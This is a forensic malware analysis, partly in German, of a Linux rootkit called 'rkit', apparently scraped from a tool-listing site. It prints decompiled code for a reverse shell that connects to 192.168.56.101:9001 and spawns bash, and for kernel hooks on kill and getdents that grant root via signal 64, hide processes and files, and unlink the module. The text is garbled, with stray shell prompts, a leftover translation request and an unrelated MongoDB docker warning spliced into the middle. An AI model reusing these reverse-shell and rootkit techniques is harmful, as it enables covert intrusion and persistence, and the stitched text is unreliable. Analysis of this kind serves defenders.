Diese Hilfsfunktion erzeugt einen Kindprozess und der Elternprozess beendet sich sofort. Der Kindprozess wird über setsid() zum Session-Leader, schließt die Standard-Dateideskriptoren 0, 1 und 2 (stdin, stdout und stderr) und sendet sich selbst das Signal 0x3F (63), um sich vor typischen Prozesslisten zu verbergen. Dies wird später als eine der Techniken aus dem Kernel-Modul besprochen. Nach der Daemonisierung tritt die Steuerung in die "revshell loop" ein.

Reverse Shell```c

root@kitploit:~
    do {
      while( true ) {
        while( true ) {
          __fd = socket(2,1,0);
          if (-1 < (int)__fd) break;
          piVar3 = __errno_location();
          pcVar4 = strerror(*piVar3);
          snprintf(local_98,0x80,"socket failed: %s",pcVar4);
          log_msg(local_98);
          sleep(5);
        }
        local_a8.sa_family = 2;
        local_a8.sa_data._0_2_ = htons(0x2329);
        local_a8.sa_data._2_4_ = inet_addr("192.168.56.101");
        snprintf(local_98,0x80,"Connecting to %s:%d","192.168.56.101",0x2329);
        log_msg(local_98);
        snprintf(local_98,0x80,"About to call connect on s=%d",(ulong)__fd);
        log_msg(local_98);
        iVar1 = connect(__fd,&local_a8,0x10);
        if (iVar1 != 0) break;
        log_msg("Connection established, spawning shell");
        dup2(__fd,0);
        dup2(__fd,1);
        dup2(__fd,2);
        execl("/bin/bash","bash",0);
        piVar3 = __errno_location();
        pcVar4 = strerror(*piVar3);
        snprintf(local_98,0x80,"execl failed: %s",pcVar4);
        log_msg(local_98);
        close(__fd);
        sleep(5);
      }
      piVar3 = __errno_location();
      pcVar4 = strerror(*piVar3);
      snprintf(local_98,0x80,"connect failed: %s",pcVar4);
      log_msg(local_98);
      close(__fd);
      sleep(5);
    } while( true );
root@kitploit:~
In der `do-while`-Schleife versucht die Binärdatei kontinuierlich, einen `IPv4 TCP`-Socket im `SOCK_STREAM`-Modus zu öffnen. Wenn die Socket-Erstellung fehlschlägt, protokolliert sie den Fehler und wartet fünf Sekunden, bevor sie es erneut versucht. Sobald ein Socket erhalten wird, konfiguriert sie struct sockaddr für die Zieladresse `192.168.56.101` Port `0x2329` (`9001`), protokolliert ihre Absicht, eine Verbindung herzustellen, und ruft `connect()` auf. Bei einer erfolgreichen Verbindung protokolliert sie Connection established, spawning shell, dupliziert den Socket-Deskriptor auf Standardeingabe, -ausgabe und -fehler mittels `dup2()` und ruft dann `/bin/bash` über `execl()` auf. Wenn execl fehlschlägt, protokolliert sie den Fehler, schließt den Socket, wartet fünf Sekunden und wiederholt den Vorgang.

## Zusammenfassung des Verhaltens

### Verhaltenszusammenfassung
- Die Binärdatei arbeitet in zwei Modi: `load` (injiziert das Kernel-Modul aus dem Speicher, hinterlässt kein Artefakt auf der Festplatte) und `rsh` (wird zum Daemon, versteckt sich und unterhält eine persistente Reverse Shell zum C2-Server).
- Eine udev-Regel (`RUN+="/shell load"`) stellt sicher, dass der Loader bei jedem Systemstart ausgeführt wird und das Modul zur Persistenz erneut injiziert.
- Das Design nutzt den kurzlebigen, netzwerkisolierten Kontext von udev für die heimliche Modulinjektion, während die Reverse Shell unabhängig gestartet wird, um dem Angreifer uneingeschränkten Zugriff zu ermöglichen.

# Reverse Engineering des Kernel-Moduls

Es zeigt dein rkit nicht (es sollte hier sichtbar sein!?):```
uv run vol -f dumpmem_linux_root_kit -s symbols linux.lsmod | grep rkit

--> Weil es im prpcfs versteckt ist``` vagrant@linux-root-kit:~$ uv run vol -f dumpmem_linux_root_kit -s symbols linux.modxview.Modxview | grep rkit Name Address In procfs In sysfs In scan Taints rkit 0xffffc08e65c0 False False True OOT_MODULE,UNSIGNED_MODULE

root@kitploit:~
EINGABE:```
uv run vol -f dumpmem_linux_root_kit -s symbols linux.module_extract.ModuleExtract --base 0xffffc08e65c0
Volatility 3 Framework 2.26.0
Progress:  100.00		Stacking attempts finished           
Base	File Size	File output

0xffffc08e65c0	498984	kernel_module.rkit.0xffffc08e65c0.elf

Please provide the Markdown content to translate.``` vagrant@linux-root-kit:~$ sha256sum kernel_module.rkit.0xffffc08e65c0.elf 5f9e96f65c4abe7f6865c8f4703e509aa25b58f1c76dc0f5d74090f80471351e kernel_module.rkit.0xffffc08e65c0.elf

root@kitploit:~
Disassemblieren mit Gidra:

![Symbol-Baum des Kernel-Moduls](https://assets.kitploit.com/production/public/readmes/36699/14f60e8a9f824c16bf77ddf68b7b67effa97d2816b4f6a88ca67f2e600bfbaea.png)

Diese Funktionsaufrufe enthalten nur die Namen, nicht den Code. Sie sind in die `FUN_*`-Funktionen aufgeteilt, die äußerst unlesbar sind. Zum Beispiel:

![alt text](https://assets.kitploit.com/production/public/readmes/36699/858825157b30bece9d2c9f37d04274bb0c9b6b81fed8928ec1e0c22e011034f0.png)


Daher versuchen wir, das Kernel-Modul nicht aus dem Speicher, sondern aus der Userland-Binärdatei (`shell`) zu extrahieren:```c
int load_module(void)

{
  --snip--
  lVar1 = syscall(0xaf,&rkit_ko,(ulong)rkit_ko_len,&DAT_00102035);
  --snip--
}

Daraus können wir ersehen, dass das Kernel-Modul in rkit_ko und seine Länge in rkit_ko_len gespeichert ist. Diese Symbole können wir in Ghidra suchen.

Rkit_ko

alt text

Der Beginn davon ist 00104020 (Ende 0016bedf) und die Länge ist:``` rkit_ko_len XREF[2]: Entry Point(*), load_module:001015ac(R)

root@kitploit:~
    0016bee0 c0 7e 06 00     undefined4 00067EC0h
root@kitploit:~
→ Vertausche die Reihenfolge der Bytes (oder lese den wiederhergestellten Wert)
→ Länge: 67EC0

Prüfung:```
python3 -c 'print(hex(0x016bedf - 0x00104020 + 1))'
0x67ec0

Python-Skript zum Extrahieren des Kernel-Moduls

Wenn eine Datei in den Speicher geladen wird – in diesem Fall die ELF-Datei – wird sie nicht 1:1 abgebildet, sondern mit Offsets, die hier angegeben sind:

Für unser Programm an der Position 0x00104020 müssen wir prüfen, welchen Offset Ghidra hinzufügt:

Ghidra-Speicherbereich Es zeigt einen Offset von + 0x00100000 an.``` ─$ readelf -l inode_0x8befcbfc5908.dmp

LOAD Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align

-- snip -- LOAD 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000be0 0x0000000000000be0 R 0x1000 LOAD 0x0000000000001000 0x0000000000001000 0x0000000000001000 0x0000000000000a11 0x0000000000000a11 R E 0x1000 LOAD 0x0000000000002000 0x0000000000002000 0x0000000000002000 0x00000000000002cc 0x00000000000002cc R 0x1000 LOAD 0x0000000000002d00 0x0000000000003d00 0x0000000000003d00 0x00000000000681e4 0x0000000000068230 RW 0x1000

-- snip --

root@kitploit:~
Hier suchen wir unsere virtuelle Adresse `0x00104020` auf.  

Zuerst müssen wir den von Ghidra hinzugefügten Offset entfernen:
`0x00004020` = `0x00104020` − `0x00100000`.


Daher befolgen Sie diese Schritte für jedes LOAD-Segment:

### 1. Bereich erstellen: `[VirtAddr, VirtAddr + MemSiz/FileSiz]`
Zum Beispiel für das erste LOAD-Segment:```
[VirtAddr          , VirtAddr           +    MemSiz/FileSiz ]

[0x0000000000000000, 0x0000000000000000 + 0x0000000000000be0]

[0x0, 0xbe0]

2. Vergleiche die Zieladresse:

0x4020 liegt innerhalb des Bereichs [0x3d00, 0x3d00 + 0x68230].

3. Fahre fort, bis eine Übereinstimmung gefunden wird:

0x4020 liegt innerhalb des Bereichs [0x3d00, 0x3d00 + 0x68230].

Der Offset zwischen virtuellem Speicher und Festplatte wird berechnet als VirtAddr − Offset, oder in diesem Beispiel:

0x3d00 - 0x2d00 = 0x1000

Daher ist die Basisadresse der ELF-Binärdatei 0x3020.

Also schneiden wir es aus:``` with open("./inode_0x8befcbfc5908.dmp", "rb") as f: # or shell f.seek(0x3020) data = f.read(0x67ec0)

with open("./extracted_module", "wb") as f: f.write(data)

root@kitploit:~
> **WARNING**  
> Verwenden Sie keine extern zugängliche MongoDB! Stellen Sie sicher, dass MongoDB nur auf  
> ${MONGODB_LISTEN_HOST} (Standard `localhost`) lauscht!  
> Stellen Sie außerdem sicher, dass das Telegram Bot API Token korrekt ist!  
> Wenn Sie den Datenschutzmodus von Telegram verwenden möchten, fügen Sie das Argument  
> `-e TELEGRAM_PRIVACY_MODE=1` zum docker run Befehl hinzu:  
> ```bash
> docker run -d -e MONGODB_LISTEN_HOST='127.0.0.1' -e MONGODB_DB_NAME='yourmongodb' -e MONGODB_DB_USERNAME='yourmongodbuser' -e MONGODB_DB_PASSWORD='yourmongodbpassword' -e TELEGRAM_APITOKEN='YOURTELEGRAMAPITOKEN' -e TELEGRAM_PRIVACY_MODE=1 jekil/awesome-bot
> ``````
file extracted_module
extracted_module: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=c5224df8e6f37d51f6b8f9cd9f6cc1120ab1d284, with debug_info, not stripped

sha256sum extracted_module 
0f06ac286c1914ee7b2d252c8edf8860d9894bd3e1e0575ab869cfbbdd1b6f56  extracted_module

Und mit diesem Ansatz erhalten wir eine viel bessere Pseudo-C-Ausgabe :D.

Ghidra better pseudo c

rkit_init

Der Beginn jedes Kernel-Moduls ist das {module_name}_init. Das Pseudo-C hier lautet:```c int rkit_init(void)

{ int iVar1; long lVar2; undefined1 *hook;

hook = hooks; lVar2 = 0; do { iVar1 = fh_install_hook((ftrace_hook *)hook); if (iVar1 != 0) { if (lVar2 != 0) { fh_remove_hook((ftrace_hook *)(hooks + (-(int)(lVar2 + -1) & 0xe0))); if (lVar2 + -1 != 0) { fh_remove_hook((ftrace_hook *)hooks); } } return iVar1; } lVar2 = lVar2 + 1; hook = (undefined1 *)((long)hook + 0xe0); } while (lVar2 != 3); if (module_hidden == 0) { (__this_module.list.next)->prev = __this_module.list.prev; (__this_module.list.prev)->next = __this_module.list.next; prev_module = __this_module.list.prev; __this_module.list.next = (list_head *)0xdead000000000100; __this_module.list.prev = (list_head *)0xdead000000000122; kobject_del(0x1019d0); module_hidden = 1; } _printk(&DAT_00100bf9); msleep(5000); _printk(&DAT_00100da8); iVar1 = call_usermodehelper(argv.27,&argv.27,envp.28,1); if (iVar1 != 0) { _printk(&DAT_00100dd8,iVar1); return 0; } _printk(&DAT_00100e08); return 0; }

In the first part, it installs 3 hooks with the help of ftrace.

root@kitploit:~
hook = hooks;
  lVar2 = 0;
  do {
    iVar1 = fh_install_hook((ftrace_hook *)hook);
    if (iVar1 != 0) {
      if (lVar2 != 0) {
        fh_remove_hook((ftrace_hook *)(hooks + (-(int)(lVar2 + -1) & 0xe0)));
        if (lVar2 + -1 != 0) {
          fh_remove_hook((ftrace_hook *)hooks);
        }
      }
      return iVar1;
    }
    lVar2 = lVar2 + 1;
    hook = (undefined1 *)((long)hook + 0xe0);
  } while (lVar2 != 3);```

## Hooked Functions

Looking at the symbol tree, we assume the hooks are the following:

![Symbol Tree with hooked functions](https://raw.githubusercontent.com/ic3-512/linux-root-kit/main/images-kernel/image-6.png)
 - orig_getdents (`"__x64_sys_getdents"`)
 - orig_getdents64 (`"__x64_sys_getdents64"`)
 - orig_kill (`"__x64_sys_kill"`)

### Kill Hook


This function, `__pfx_hook_kill`, is a hook for the kill system call, designed to intercept process `signals` and implement `custom behaviors` based on the signal number passed. It's typical in rootkits to repurpose rarely used or `unused signal` numbers to trigger stealthy functionality like `privilege escalation`, `hiding processes`, or `unloading` the rootkit.


Splitting the code up, we get 3 different signal numbers:
- 64: Privilege escalation
- 63: Hide process
- 62: Unload module


```c
undefined1  [16] __pfx_hook_kill(pt_regs *param_1)

{
  uint uVar1;
  list_head *plVar2;
  int iVar3;
  long lVar4;
  undefined1 auVar5 [16];
  
  uVar1 = (uint)param_1->di;
  iVar3 = (int)param_1->si;```
`iVar3` in this case is the pid which should recieve the kill signal.
`uVar1` is the target PID.
```c
if (iVar3 == 0x40) {
    _printk(&DAT_00100e38,uVar1);
    lVar4 = prepare_creds();
    if (lVar4 != 0) {
      *(undefined8 *)(lVar4 + 8) = 0;
      *(undefined8 *)(lVar4 + 0x10) = 0;
      *(undefined8 *)(lVar4 + 0x18) = 0;
      *(undefined8 *)(lVar4 + 0x20) = 0;
      commit_creds(lVar4);
    }
  }```

If the kill signal is `0x40` (64), it logs the call and zeroes out UID, GID, EUID, EGID, etc., making the calling process root. Effectively elevating the process to root privileges. A user can call this with a simple `kill -64 1` and elevate their rights to `root`.


```c
else if (iVar3 == 0x3f) {
    _printk(&DAT_00100c09,uVar1);
    sprintf(hide_pid,"%d",(ulong)uVar1);
  }```

If the kill signal is `0x3f` (63), it adds the PID to a `hide_pid` array, which is used in another hook to hide the process itself.

```c
else {
    if (iVar3 != 0x3e) {
      auVar5._0_8_ = (*orig_kill)(param_1);
      auVar5._8_8_ = 0;
      return auVar5;
    }
    _printk(&DAT_00100e60);
    plVar2 = prev_module;
    if (module_hidden != 0) {
      __this_module.list.next = prev_module->next;
      (__this_module.list.next)->prev = &__this_module.list;
      __this_module.list.prev = plVar2;
      plVar2->next = (list_head *)0x101988;
      module_hidden = 0;
    }
    fh_remove_hook((ftrace_hook *)hooks);
    fh_remove_hook((ftrace_hook *)(hooks + 0xe0));
    fh_remove_hook((ftrace_hook *)(hooks + 0x1c0));
  }
  return ZEXT816(0);
}```

If the kill signal is `0x3e` (62), it restores the double-linked list for the kernel modules, removes all of the hooks, and exits the kernel module.

```c
if (iVar3 != 0x3e) {
      auVar5._0_8_ = (*orig_kill)(param_1);
      auVar5._8_8_ = 0;
      return auVar5;
    }```


If the final branch is not our signal `0xfe`, it just calls the normal signals.
### Getdents(64) Hook


The `getdents` and `getdents64` syscalls are both hooked by the rootkit. This report focuses on the `getdents` function, as the logic for `getdents64` is analogous. For clarity, non-essential code has been omitted from the snippet below.

```c
--snip--
int hook_getdents(pt_regs *regs)

{
 --snip--
  uVar2 = regs->si;
  uVar6 = (*orig_getdents)(regs);
  iVar5 = (int)uVar6;
  --snip--
  if (0 < iVar5) {
    uVar15 = (ulong)iVar5;
    __dest = (void *)__kmalloc(uVar15,0xdc0);
    if (__dest != (void *)0x0) {
      __check_object_size(__dest,uVar15,0);
      lVar7 = _copy_from_user(__dest,uVar2,uVar15);
      if (lVar7 == 0) {
        uVar16 = 0;
        pvVar13 = (void *)0x0;```

The original `getdents` syscall is invoked to copy the directory entries from user space into kernel space for further inspection and manipulation.

```c
--snip--
  if (0 < iVar5) {
    uVar15 = (ulong)iVar5;
    __dest = (void *)__kmalloc(uVar15,0xdc0);
    if (__dest != (void *)0x0) {
      __check_object_size(__dest,uVar15,0);
      lVar7 = _copy_from_user(__dest,uVar2,uVar15);
      if (lVar7 == 0) {
        uVar16 = 0;
        pvVar13 = (void *)0x0;
        do {
          pvVar1 = (void *)((long)__dest + uVar16);
          if (hide_prefix[0] != '\0') {
            __n = strnlen(hide_prefix,0xff);
            --snip--
              if (__n != 0xff) {
                iVar5 = strncmp((char *)((long)pvVar1 + 0x12),hide_prefix,__n);
                if (iVar5 != 0) goto LAB_001004fb;
                goto LAB_001004cb;
              }
            }```


The code iterates over all directory entries returned by the syscall. If an entry's name matches the prefix specified in `hide_prefix`, that entry is excluded from the results, effectively hiding files or directories with that prefix from userland tools.

![Hide Prefix for files](https://raw.githubusercontent.com/ic3-512/linux-root-kit/main/images-kernel/image-11.png)


In this case, the prefix is set to `_rkit`, so any file or directory beginning with this string will be concealed.


```c
--snip-- 
          if ((hide_pid[0] == '\0') ||
             (iVar5 = strcmp((char *)((long)pvVar1 + 0x12),hide_pid), iVar5 != 0)) {
LAB_001004de:
            __n_00 = (ulong)(int)uVar6;
            uVar16 = uVar16 + *(ushort *)((long)pvVar1 + 0x10);
            pvVar13 = pvVar14;
          }```


Similarly, the code checks for process IDs that match those stored in the `hide_pid` array (populated via the kill hook with signal `63`). Any matching process is omitted from the directory listing, thereby hiding it from standard process enumeration tools.

```c
--snip--
        _copy_to_user(uVar2,__dest,__n_00);
      }
      iVar5 = (int)uVar6;
      kfree(__dest);
    }
  }
  return iVar5;
}```


Once all filtering is complete, the modified list of entries is copied back to user space and returned, ensuring hidden files and processes remain undetectable to typical inspection methods.


## Module Hiding

The module achieves stealth by directly manipulating the kernel's module list structure, removing itself from the double-linked list. As a result, it becomes invisible to the `lsmod` command and similar enumeration tools.
```c
if (module_hidden == 0) {
    (__this_module.list.next)->prev = __this_module.list.prev;
    (__this_module.list.prev)->next = __this_module.list.next;
    prev_module = __this_module.list.prev;
    __this_module.list.next = (list_head *)0xdead000000000100;
    __this_module.list.prev = (list_head *)0xdead000000000122;```

The module also unlinks its kobject from the kernel object hierarchy, making it undetectable in `/sys/modules/`.
```c
kobject_del(0x1019d0);
    module_hidden = 1;```

## Debug Messages

Upon successful loading, the module writes `rkit: loaded` to the kernel log using `_printk`.

![Rkit loaded message](https://raw.githubusercontent.com/ic3-512/linux-root-kit/main/images-kernel/image-7.png)

It then logs `rkit: starting usermode revshell loader` to indicate the initiation of the usermode reverse shell loader.
![Rkit start revshell](https://raw.githubusercontent.com/ic3-512/linux-root-kit/main/images-kernel/image-8.png)

## Reverse Shell Loader

The module invokes `call_usermodehelper` with `/shell` as the first argument and `rsh` as the second, launching the userland binary in reverse shell mode during system boot. This ensures persistence and remote access for the attacker.
![Usermode call first argument](https://raw.githubusercontent.com/ic3-512/linux-root-kit/main/images-kernel/image-9.png)
![Usermode call second argument](https://raw.githubusercontent.com/ic3-512/linux-root-kit/main/images-kernel/image-10.png)


## rkit_exit

The `rkit_exit` function serves as the rootkit's cleanup routine. When the kernel module is unloaded, it restores the original module list (if previously hidden) and removes all installed hooks.

```c
void rkit_exit(void)
{
  list_head *plVar1;
  plVar1 = prev_module;
  if (module_hidden != 0) {
    __this_module.list.next = prev_module->next;
    (__this_module.list.next)->prev = &__this_module.list;
    __this_module.list.prev = plVar1;
    plVar1->next = (list_head *)0x101988;
    module_hidden = 0;
  }
  fh_remove_hook((ftrace_hook *)hooks);
  fh_remove_hook((ftrace_hook *)(hooks + 0xe0));
  fh_remove_hook((ftrace_hook *)(hooks + 0x1c0));
  _printk(&DAT_00100be7);
  return;
}```

This process ensures a clean removal, minimizing traces and reducing the risk of system instability after the rootkit is unloaded.


# Checksums

| Filename                                      | Size  | SHA256 Checksum                                                              | Description                                               |
|-----------------------------------------------|-------|------------------------------------------------------------------------------|-----------------------------------------------------------|
| dumpmem_linux_root_kit                        | 4.6G  | bcc73188e6905357a514107e4eac7557bce17b7e747aa1cca416c43f56c22367                                                                            | Full memory dump of infected system                       |
| extracted_module                              | 416K  | 0f06ac286c1914ee7b2d252c8edf8860d9894bd3e1e0575ab869cfbbdd1b6f56             | rkit kernel module (extracted from memory dump --> memory maped)           |
| extract.py                                    | 182B  | f23119742f82adb8cd2bc801cdaf79f85822fa7f55960830472bbbe0bc72ff11                                                                            | Extraction helper script                                  |
| inode_0x8befc61393a8.dmp                      | 57K   | dd9c08aa1ef1c2768bcac34ca02c6565f5e1942be82ea7801a1f65d193d4ddb5             | dmesg.log                                                  |
| inode_0x8befcbf9bd48.dmp                      | 68B   | f184eb4ffcd106951f39385d6a784e431de726ea427b98088cc89cdb30d70db3             | /etc/udev/rules.d/99-load-rootkit.rules                   |
| inode_0x8befcbfc5908.dmp                      | 433K  | 7f61a7634ece76c37c9263fc342ff2b3f742f542c759809d0b123d6228804b61             | shell                                                     |
| kernel_module.rkit.0xffffc08e65c0.elf         | 488K  | 5f9e96f65c4abe7f6865c8f4703e509aa25b58f1c76dc0f5d74090f80471351e             | rkit kernel module (extracted from shell binary)          |
| lilux_hex                                     | 13M   | cb9ec2399929bae6383148dc983b0e07571534f65293fa085adac31bf35fd543             | sliver beacon (extracted from pcap)                        |
| output.pcap                                   | 14M   | e712d6b1f7bb51a0625d0e7ce0116bfc33521eaf2cf471cf76958c8f84a67ad1                                                                            | Network capture containing Sliver beacon traffic          |

# Tools and Versions Used

| Tool/Software         | Version/Commit/Details                | Purpose/Notes                                  |
|----------------------|---------------------------------------|------------------------------------------------|
| Volatility3          | 2.26.0                                | Memory forensics, module extraction            |
| Ghidra               | 11.3.2                            | Reverse engineering, disassembly, pseudo-C     |
| NetworkMiner         | 2.8.1 (mono)                          | Network artefact extraction                    |
| Sliver C2            | v1.5.43 - e116a5ec3d26e8582348a29cfd251f915ce4a405 | C2 server, beacon generation                   |
| Vagrant              | 2.4.6                                 | VM provisioning                               |
| VirtualBox           | 7.1.6r167084                          | VM management, memory/core dump                |
| Python               | 3.12                                  | Extraction scripts, analysis                   |
| Ubuntu | 24.04 (bento/ubuntu-24.04)| Developer VM OS |
| Kali Linux | 2025.4    | Attacker VM OS                                 |
| dwarf2json| commit 9f14607e0d339d463ea725fbd5c08aa7b7d40f75  | Volatility symbol file generation              |
| fzf                  | 0.64.0    | Fuzzy search in memory artefacts               |
| Gnu Make             |  4.4.1        | Build userland loader                          |
| GCC                  |14.2.1 20250207                                | Kernel/userland binary compilation             |
| Linux Kernel         | 6.8.0-53-generic   | Target system kernel                           |
| tcpdump              | 4.99.4 | Network capture                                |
| sha256sum            | coreutils 9.6| Artefact integrity verification                |
| readelf              | binutils 2.42                         | ELF analysis                                   |
| file                 | file 5.46 | Binary type identification                     |
| grep                 | coreutils 9.6| Text search in artefacts                       |
| Gnu Bash             | 5.2.37                                | Shell scripting                                |
Tool herunterladen